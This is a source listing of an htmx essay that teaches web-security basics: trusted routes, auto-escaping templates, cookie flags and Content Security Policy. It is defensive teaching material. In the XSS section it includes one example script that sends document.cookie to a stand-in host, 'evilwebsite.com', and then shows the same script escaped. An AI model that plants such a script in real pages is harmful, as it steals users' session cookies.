Debian Codegraph @

www/src/content/essays/web-security-basics-with-htmx.md

raw symbols SCIP
1 ---
2 title: "Web Security Basics (with htmx)"
3 description: "This guide by Alexander Petros provides essential web security best practices for building applications with htmx, focusing on safe handling of dynamic, user-generated content. It covers fundamental principles such as using only trusted routes, employing auto-escaping template engines, and securing cookies to prevent common vulnerabilities like Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF). Aimed at developers familiar with backend server construction, it emphasizes security techniques that are easy to implement and crucial for protecting user data in dynamic web applications."
4 created: 2024-02-06
5 authors: ["Alexander Petros"]
6 tags: ["guides"]
7 ---
8
9 As htmx has gotten more popular, it's reached communities who have never written server-generated HTML before. Dynamic
10 HTML templating was, and still is, the standard way to use many popular web frameworks—like Rails, Django, and
11 Spring—but it is a novel concept for those coming from Single-Page Application (SPA) frameworks—like React and
12 Svelte—where the prevalence of JSX means you never write HTML directly.
13
14 But have no fear! Writing web applications with HTML templates is a slightly different security model, but it's no
15 harder than securing a JSX-based application, and in some ways it's a lot easier.
16
17 ## Who is guide this for?
18
19 These are web security basics with htmx, but they're (mostly) not htmx-specific—these concepts are important to know if
20 you're putting *any* dynamic, user-generated content on the web.
21
22 For this guide, you should already have a basic grasp of the semantics of the web, and be familiar with how to write a
23 backend server (in any language). For instance, you should know not to create `GET` routes that can alter the backend
24 state. We also assume that you're not doing anything super fancy, like making a website that hosts other people's
25 websites. If you're doing anything like that, the security concepts you need to be aware of far exceed the scope of this
26 guide.
27
28 We make these simplifying assumptions in order to target the widest possible audience, without including distracting
29 information—obviously this can't catch everyone. No security guide is perfectly comprehensive. If you feel there's a
30 mistake, or an obvious gotcha that we should have mentioned, please reach out and we'll update it.
31
32 ## The Golden Rules
33
34 Follow these four simple rules, and you'll be following the client security best practices:
35
36 1. Only call routes you control
37 2. Always use an auto-escaping template engine
38 3. Only serve user-generated content inside HTML tags
39 4. If you have authentication cookies, set them with `Secure`, `HttpOnly`, and `SameSite=Lax`
40
41 In the following section, I'll discuss what each of these rules does, and what kinds of attack they protect against. The
42 vast majority of htmx users—those using htmx to build a website that allows users to login, view some data, and update
43 that data—should never have any reason to break them.
44
45 Later on I will discuss how to break some of these rules. Many useful applications can be built under these constraints,
46 but if you do need more advanced behavior, you'll be doing so with the full knowledge that you're increasing the
47 conceptual burden of securing your application. And you'll have learned a lot about web security in the process.
48
49 ## Understanding the Rules
50
51 ### Only call routes you control
52
53 This is the most basic one, and the most important: **do not call untrusted routes with htmx.**
54
55 In practice, this means you should only use relative URLs. This is fine:
56
57 ```html
58 <button hx-get="/events">Search events</button>
59 ```
60
61 But this is not:
62
63 ```html
64 <button hx-get="https://google.com/search?q=events">Search events</button>
65 ```
66
67 The reason for this is simple: htmx inserts the response from that route directly into the user's page. If the response
68 has a malicious `<script>` inside it, that script can steal the user's data. When you don't control the route, you
69 cannot guarantee that whoever does control the route won't add a malicious script.
70
71 Fortunately, this is a very easy rule to follow. Hypermedia APIs (i.e. HTML)
72 are [specific to the layout of your application](https://htmx.org/essays/hypermedia-apis-vs-data-apis/), so there is
73 almost never any reason you'd *want* to insert someone else's HTML into your page. All you have to do is make sure you
74 only call your own routes (htmx 2 will actually disable calling other domains by default).
75
76 Though it's not quite as popular these days, a common SPA pattern was to separate the frontend and backend into
77 different repositories, and sometimes even to serve them from different URLs. This would require using absolute URLs in
78 the frontend, and often, [disabling CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS). With htmx (and, to be
79 fair, modern React with Next.js) this is an anti-pattern.
80
81 Instead, you simply serve your HTML frontend from the same server (or at least the same domain) as your backend, and
82 everything else falls into place: you can use relative URLs, you'll never have trouble with CORS, and you'll never call
83 anyone else's backend.
84
85 htmx executes HTML; HTML is code; never execute untrusted code.
86
87 ### Always use an auto-escaping template engine
88
89 When you send HTML to the user, all dynamic content must be escaped. Use a template engine to construct your responses,
90 and make sure that auto-escaping is on.
91
92 Fortunately, all template engines support escaping HTML, and most of them enable it by default. Below are just a few
93 examples.
94
95 | Language | Template Engine | Escapes HTML by default? |
96 |------------|-----------------|-------------------------------|
97 | JavaScript | Nunjucks | Yes |
98 | JavaScript | EJS | Yes, with `<%= %>` |
99 | Python | DTL | Yes |
100 | Python | Jinja | **Sometimes** (Yes, in Flask) |
101 | Ruby | ERB | Yes, with `<%= %>` |
102 | PHP | Blade | Yes |
103 | Go | html/template | Yes |
104 | Java | Thymeleaf | Yes |
105 | Rust | Tera | Yes |
106
107 The kind of vulnerability this prevents is often called a Cross-Site Scripting (XSS) attack, a term that
108 is [broadly used](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#introduction)
109 to mean the injection of any unexpected content into your webpage. Typically, an attacker uses your APIs to store
110 malicious code in your database, which you then serve to your other users who request that info.
111
112 For example, let's say you're building a dating site, and it lets users share a little bio about themselves. You'd
113 render that bio like this, with `{{ user.bio }}` being the bio stored in the database:
114
115 ```html
116 <p>
117 {{ user.bio }}
118 </p>
119 ```
120
121 If a malicious user wrote a bio with a script element in it—like one that sends the client's cookie to another
122 website—then this HTML will get sent to every user who views that bio:
123
124 ```html
125 <p>
126 <script>
127 fetch('evilwebsite.com', { method: 'POST', body: document.cookie })
128 </script>
129 </p>
130 ```
131
132 Fortunately this one is so easy to fix that you can write the code yourself. Whenever you insert untrusted (i.e.
133 user-provided) data, you just have to replace eight characters with their non-code equivalents. This is an example using
134 JavaScript:
135
136 ```js
137 /**
138 * Replace any characters that could be used to inject a malicious script in an HTML context.
139 */
140 export function escapeHtmlText (value) {
141 const stringValue = value.toString()
142 const entityMap = {
143 '&': '&amp;',
144 '<': '&lt;',
145 '>': '&gt;',
146 '"': '&quot;',
147 "'": '&#x27;',
148 '/': '&#x2F;',
149 '`': '&grave;',
150 '=': '&#x3D;'
151 }
152
153 // Match any of the characters inside /[ ... ]/
154 const regex = /[&<>"'`=/]/g
155 return stringValue.replace(regex, match => entityMap[match])
156 }
157 ```
158
159 This tiny JS function replaces `<` with `&lt;`, `"` with `&quot;`, and so on. These characters will still render
160 properly as `<` and `"` when they're used in the text, but can't be interpreted as code constructs. The previous
161 malicious bio will now be converted into the following HTML:
162
163 ```html
164 <p>
165 &lt;script&gt;
166 fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, data: document.cookie })
167 &lt;/script&gt;
168 </p>
169 ```
170
171 which displays harmlessly as text.
172
173 Fortunately, as established above, you don't have to do your escaping manually—I just wanted to demonstrate how simple
174 these concepts are. Every template engine has an auto-escaping feature, and you're going to want to use a template
175 engine anyway. Just make sure that escaping is enabled, and send all your HTML through it.
176
177 ### Only serve user-generated content inside HTML tags
178
179 This is an addendum to the template engine rule, but it's important enough to call out on its own. Do not allow your
180 users to define arbitrary CSS or JS content, even with your auto-escaping template engine.
181
182 ```html
183 <!-- Don't include inside script tags -->
184 <script>
185 const userName = {{ user.name }}
186 </script>
187
188 <!-- Don't include inside CSS tags -->
189 <style>
190 h1 { color: {{ user.favorite_color }} }
191 </style>
192 ```
193
194 And, don't use user-defined attributes or tag names either:
195
196 ```html
197 <!-- Don't allow user-defined tag names -->
198 <{{ user.tag }}></{{ user.tag }}>
199
200 <!-- Don't allow user-defined attributes -->
201 <a {{ user.attribute }}></a>
202
203 <!-- User-defined attribute VALUES are sometimes okay, it depends -->
204 <a class="{{ user.class }}"></a>
205
206 <!-- Escaped content is always safe inside HTML tags (this is fine) -->
207 <a>{{ user.name }}</a>
208 ```
209
210 CSS, JavaScript, and HTML attributes
211 are ["dangerous contexts,"](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#dangerous-contexts)
212 places where it's not safe to allow arbitrary user input, even if it's escaped. Escaping will protect you from some
213 vulnerabilities here, but not all of them; the vulnerabilities are varied enough that it's safest to default to not
214 doing *any* of these.
215
216 Inserting user-generated text directly into a script tag should never be necessary, but there *are* some situations
217 where you might let users customize their CSS or customize HTML attributes. Handling those properly will be discussed
218 down below.
219
220 ## Secure your cookies
221
222 The best way to do authentication with htmx is using cookies. And because htmx encourages interactivity primarily
223 through first-party HTML APIs, it is usually trivial to enable the browser's best cookie security features. These three
224 in particular:
225
226 * `Secure` - only send the cookie via HTTPS, never HTTP
227 * `HttpOnly` - don't make the cookie available to JavaScript via `document.cookie`
228 * `SameSite=Lax` - don't allow other sites to use your cookie to make requests, unless it's just a plain link
229
230 To understand what these protect you against, let's go over the basics. If you come from JavaScript SPAs, where it's
231 common to authenticate using the `Authorization` header, you might not be familiar with how cookies work. Fortunately
232 they're very simple. (Please note: this is not an "authentication with htmx" tutorial, just an overview of cookie tokens
233 generally)
234
235 If your users log in with a `<form>`, their browser will send your server an HTTP request, and your server will send
236 back a response that looks something like this:
237
238 ```
239 HTTP/2.0 200 OK
240 Content-Type: text/html
241 Set-Cookie: token=asd8234nsdfp982
242
243 [HTML content]
244 ```
245
246 That token corresponds to the user's current login session. From now on, every time that user makes a request to any
247 route at `yourdomain.com`, the browser will include that cookie from `Set-Cookie` in the HTTP request.
248
249 ```
250 GET /users HTTP/1.1
251 Host: yourdomain.com
252 Cookie: token=asd8234nsdfp982
253 ```
254
255 Each time someone makes a request to your server, it needs to parse out that token and determine if it's valid. Simple
256 enough.
257
258 You can also set options on that cookie, like the ones I recommended above. How to do this differs depending on the
259 programming language, but the outcome is always an HTTP response that looks like this:
260
261 ```
262 HTTP/2.0 200 OK
263 Content-Type: text/html
264 Set-Cookie: token=asd8234nsdfp982; Secure; HttpOnly; SameSite=Lax
265
266 [HTML content]
267 ```
268
269 So what do the options do?
270
271 The first one, `Secure`, ensures that the browser will not send the cookie over an insecure HTTP connection, only a
272 secure HTTPS connection. Sensitive info, like a user's login token, should *never* be sent over an insecure connection.
273
274 The second option, `HttpOnly`, means that the browser will not expose the cookie to JavaScript, ever (i.e. it won't be
275 in [`document.cookie`](https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie)). Even if someone is able to
276 insert a malicious script, like in the `evilwebsite.com` example above, that malicious script cannot access the user's
277 cookie or send it to `evilwebsite.com`. The browser will only attach the cookie when the request is made to the website
278 the cookie came from.
279
280 Finally, `SameSite=Lax` locks down an avenue for Cross-Site Request Forgery (CSRF) attacks, which is where an attacker
281 tries to get the client's browser to make a malicious request to the `yourdomain.com` server—like a POST request. The
282 `SameSite=Lax` setting tells the browser not to send the `yourdomain.com` cookie if the site that made the request isn't
283 `yourdomain.com`—unless it's a straightforward `<a>` link navigating to your page. This is *mostly* browser default
284 behavior now, but it's important to still set it directly.
285
286 In 2024, `SameSite=Lax`
287 is [usually enough](https://security.stackexchange.com/questions/252300/do-i-still-need-a-csrf-token) to protect against
288 CSRF, but there
289 are [additional mitigations](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)
290 you can consider as well for more sensitive or complicated cases.
291
292 **Important Note:** `SameSite=Lax` only protects you at the domain level, not the subdomain level (i.e.
293 `yourdomain.com`, not `yoursite.github.io`). If you're doing user login, you should always be doing that at your own
294 domain in production. Sometimes
295 the [Public Suffixes List](https://security.stackexchange.com/questions/223473/for-samesite-cookie-with-subdomains-what-are-considered-the-same-site)
296 will protect you, but you shouldn't rely on that.
297
298 ## Breaking the rules
299
300 We started with the easiest, most secure practices—that way mistakes lead to a broken UX, which can be fixed, rather
301 than stolen data, which cannot.
302
303 Some web applications demand more complicated functionality, with more user customization; they also require more
304 complicated security mechanisms. You should only break these rules if you are convinced that it is absolutely necessary,
305 and the desired functionality cannot be implemented through alternative means.
306
307 ### Calling untrusted APIs
308
309 Calling untrusted HTML APIs is lunacy. Never do this.
310
311 There are cases where you might want to call someone else's JSON API from the client, and that's fine, because JSON
312 cannot execute arbitrary scripts. In that case, you'll probably want to do something with that data to turn it into
313 HTML. Don't use htmx to do that—use `fetch` and `JSON.parse()`; if the untrusted API pulls a fast one and returns HTML
314 instead of JSON, `JSON.parse()` will just fail harmlessly.
315
316 Keep in mind that the JSON you parse might have a *property* that is formatted as HTML, though:
317
318 ```json
319 { "name": "<script>alert('Hahaha I am a script')</script>" }
320 ```
321
322 Therefore, don't insert JSON values as HTML either—use `textContent` if you're doing something like that. This is well
323 outside the realm of htmx-controlled UI though.
324
325 The 2.0 version of htmx will include a `textContent` swap, if you want to call someone else's API directly from the
326 client and just put that text into the page.
327
328 ### Custom HTML controls
329
330 Unlike calling untrusted HTML routes, there are a lot of good reasons to let users do dynamic HTML-formatted content.
331
332 What if, say, you want to let users link to an image?
333
334 ```html
335 <img src="{{ user.fav_img }}" alt="{{ user.fav_img_alt }}">
336 ```
337
338 Or link to their personal website?
339
340 ```html
341 <a href="{{ user.fav_link }}">
342 ```
343
344 The default "escape everything" approach escapes forward slashes, so it will bork user-submitted URLs.
345
346 You can fix this in a couple of ways. The simplest, and safest, trick is to let users customize these values, but don't
347 let them define the literal text. In the image example, you might upload the image to your own server (or S3 bucket, or
348 the like), generate the link yourself, and then include it, unescaped. In nunjucks, you use
349 the [safe](https://mozilla.github.io/nunjucks/templating.html#safe) function:
350
351 ```html
352 <img src="{{ user.fav_img_s3_url | safe }}" alt="{{ user.fav_img_alt }}">
353 ```
354
355 Yes, you're including unescaped content, but it's a link that you generated, so you know it's safe.
356
357 You can handle custom CSS in the same way. Rather than let your users specify the color directly, give them some limited
358 choices, and set the choices based on their input.
359
360 ```css
361 {% if user.favorite_color === 'red' %}
362 h1 { color: 'red'; }
363 {% else %}
364 h1 { color: 'blue'; }
365 {% endif %}
366 ```
367
368 In that example, the user can set `favorite_color` to whatever they like, but it's never going to be anything but red or
369 blue. A less trivial example might ensure that only properly-formatted hex codes can be entered, using a regex. You get
370 the idea.
371
372 Depending on what kind of customization you're supporting, securing it might be relatively easy, or quite difficult.
373 Some attributes
374 are ["safe sinks,"](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#safe-sinks)
375 which means that their values will never be interpreted as code; these are quite easy to secure. If you're going to
376 include dynamic input
377 in ["dangerous contexts,"](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#dangerous-contexts)
378 you need to research *what* is dangerous about those contexts, and ensure that that kind of input won't make it into the
379 document.
380
381 If you want to let users link to arbitrary websites or images, for instance, that's a lot more complicated. First, make
382 sure to put the attributes inside quotes (most people do this anyway). Then you will need to do something like write a
383 custom escaping function that escapes everything *but* forward slashes (and possibly ampersands), so the link will work
384 properly.
385
386 But even if you do that correctly, you are introducing some new security challenges. That image link can be used to
387 track your users, since your users will request it directly from someone else's server. Maybe you're fine with that,
388 maybe you include other mitigations. The important part is that you are aware that introducing this level of
389 customization comes with a more difficult security model, and if you don't have the bandwidth to research and test it,
390 you shouldn't do it.
391
392 ### Non-cookie authentication
393
394 JavaScript SPAs sometimes authenticate by saving a token in the client's local storage, and then adding that to the [
395 `Authorization` header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Authorization) of each request.
396 Unfortunately, there's no way to set the `Authorization` header without using JavaScript, which is not as secure; if
397 it's available to your trusted JavaScript, it's available to attackers if they manage to get a malicious script onto
398 your page. Instead, use a cookie (with the above attributes), which can be set and secured without touching JavaScript
399 at all.
400
401 Why is there an `Authorization` header but no way to set it with hypermedia controls? Well, that's just one of WHATWG's
402 ~~outrageous omissions~~ little mysteries.
403
404 You might need to use an `Authorization` header if you're authenticating the user's client with an API that you don't
405 control, in which case the regular precautions about routes you don't control apply.
406
407 ## Bonus: Content Security Policy
408
409 You should also be aware of
410 the [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) (CSP),
411 which uses HTTP headers to set rules about the kind of content that your page is allowed to run. You can restrict the
412 page to only load images from your domain, for example, or to disable inline scripts.
413
414 This is not one of the golden rules because it's not as easy to apply universally. There's no "one size fits most" CSP.
415 Some htmx applications make use of inline scripting—the [`hx-on` attribute](https://htmx.org/attributes/hx-on/) is a
416 generalized attribute listener that can evaluate arbitrary scripts (
417 although [it can be disabled](https://htmx.org/docs/#configuration-options) if you don't need it). Sometimes inline
418 scripts are appropriate to preserve [locality of behavior](https://htmx.org/essays/locality-of-behaviour/) on a
419 application that is sufficiently secured against XSS, sometimes inline scripts aren't necessary and you can adopt a
420 stricter CSP. It all depends on your application's security profile—it's on to you to be aware of the options available
421 to you and able to perform that analysis.
422
423 ## Is this a step back?
424
425 You might reasonably wonder: if I didn't have to know these things when I was building SPAs, isn't htmx a step back in
426 security? We would challenge both parts of that statement.
427
428 This article is not intended to be a defense of htmx's security properties, but there are a lot of areas where
429 hypermedia applications are, by default, a lot more secure than JSON-based frontends. HTML APIs only send back the
430 information that's supposed to be rendered—it's a lot easier for unintended data to "hide" in a JSON response and leak
431 to the user. Hypermedia APIs also don't lend themselves to implementing a generalized query language, like GraphQL, on
432 the client, which [require a
433 *massively* more complicated security model](https://intercoolerjs.org/2016/02/17/api-churn-vs-security.html). Flaws of
434 all kinds hide in your application's complexity; hypermedia applications are, generally speaking, less complex, and
435 therefore easier to secure.
436
437 You also need to know about XSS attacks if you're putting dynamic content on the web, period. A developer who doesn't
438 understand how XSS works won't understand what's dangerous about using React's [
439 `dangerouslySetInnerHTML`](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)
440 —and they'll go ahead and set it the first time they need to render rich user-generated text. It is the library's
441 responsibility to make those security basics as easy to find as possible; it has always been the developer's
442 responsibility to learn and follow them.
443
444 This article is organized to making securing your htmx application a "pit of success"—follow these simple rules and you
445 are very unlikely to code an XSS vulnerability. But it's impossible to write a library that's going to be secure in the
446 hands of a developer who refuses to learn *anything* about security, because security is about controlling access to
447 information, and it will always be the human's job to explain to the computer precisely who has access to what
448 information.
449
450 Writing secure web applications is *hard*. There are plenty of easy pitfalls related to routing, database access, HTML
451 templating, business logic, and more. And yet, if security is only the domain of security experts, then only security
452 experts should be making web applications. Maybe that should be the case! But if only security experts are making web
453 applications, they definitely know how to use a template engine correctly, so htmx will be no trouble for them.
454
455 For everyone else:
456
457 1. Don't call untrusted routes
458 2. Use an auto-escaping template engine
459 3. Only put user-generated content inside HTML tags
460 4. Secure your cookies